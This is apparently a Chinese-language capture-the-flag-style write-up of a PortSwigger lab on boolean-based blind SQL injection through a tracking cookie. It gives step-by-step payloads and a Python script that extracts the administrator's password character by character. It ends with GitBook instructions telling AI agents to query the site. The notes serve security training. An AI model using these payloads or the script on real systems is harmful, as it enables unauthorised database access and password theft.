> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-conditional-responses.md).
# 基于条件响应的盲 SQL 注入
基于条件响应的盲 SQL 注入笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 带有条件响应的盲 SQL 注入
**上下文 / 漏洞：** 跟踪 cookie 的值（`TrackingId`）被注入到服务器端 SQL 查询中。该查询不会直接返回任何结果或错误，但页面会显示 **“欢迎回来！”** 如果查询至少返回一行。这使得 **基于条件的盲 SQL 注入** （基于布尔值）：我们测试真假断言，并通过观察消息是否出现/消失来提取数据。
**实验目标：** 从 `administrator` 用户中提取密码并以管理员身份登录。
#### 技术（关键阶段与有效载荷）
1. **基本稳定性测试 / 列数**
```sql
' ORDER BY 1-- -
' ORDER BY 2-- -
```
* （如果有用，可检测错误行为）
2. **真/假条件验证（失败字符串控制）**
```sql
' AND (SELECT 'a') = 'a'-- -
' AND (SELECT 'a') = 'b'-- -
```
* 第一个必须触发 `欢迎回来！`，第二个则不应触发。
3. **检查是否存在一个 `administrator` 用户**
```sql
' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'-- -
```
* 如果 `欢迎回来！` 出现，则子查询返回了一行。
4. **逐字符提取（子串）**
* \*\*用户名（例如） \*\*
````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator') = 'a'-- -
```
````
* \*\*密码（例如） \*\*
````
```
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- -
```
````
遍历位置/值以重建字符串。5. \*\*查找长度（例如：测试长度 = 20） \*\*
````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a'-- -
```
根据数据库管理系统调整此项（`LENGTH` / `LEN` / `LENGTH()`）。
````
### 自动化脚本（Python）
" 所提供的脚本通过修改 `TrackingId` cookie。
```sql
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig, frame):
print("/n正在退出.../n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
main_url = "https://0ac1002b042e505b810c253d007c0076.web-security-academy.net/"
characters = string.printable
def makeRequest():
password = ""
p1 = log.progress("暴力破解")
p1.status("开始暴力破解攻击")
time.sleep(2)
p2 = log.progress("密码")
for position in range(1, 21):
for character in characters:
cookies = {
'TrackingId': f"lRU8Ekyqctl6Yr6A' and (select substring(password,{position},1) from users where username='administrator')='{character}",
'Session': 'zAVTpTyb3sYA5keYIro3aDUqsp6h780H'
}
p1.status(cookies['TrackingId'])
try:
r = requests.get(main_url, cookies=cookies)
if "欢迎回来！" in r.text:
password += character
p2.status(password)
break
except requests.exceptions.RequestException as e:
p1.failure(f"请求失败：{e}")
sys.exit(1)
if __name__ == '__main__':
makeRequest()
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-conditional-responses.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
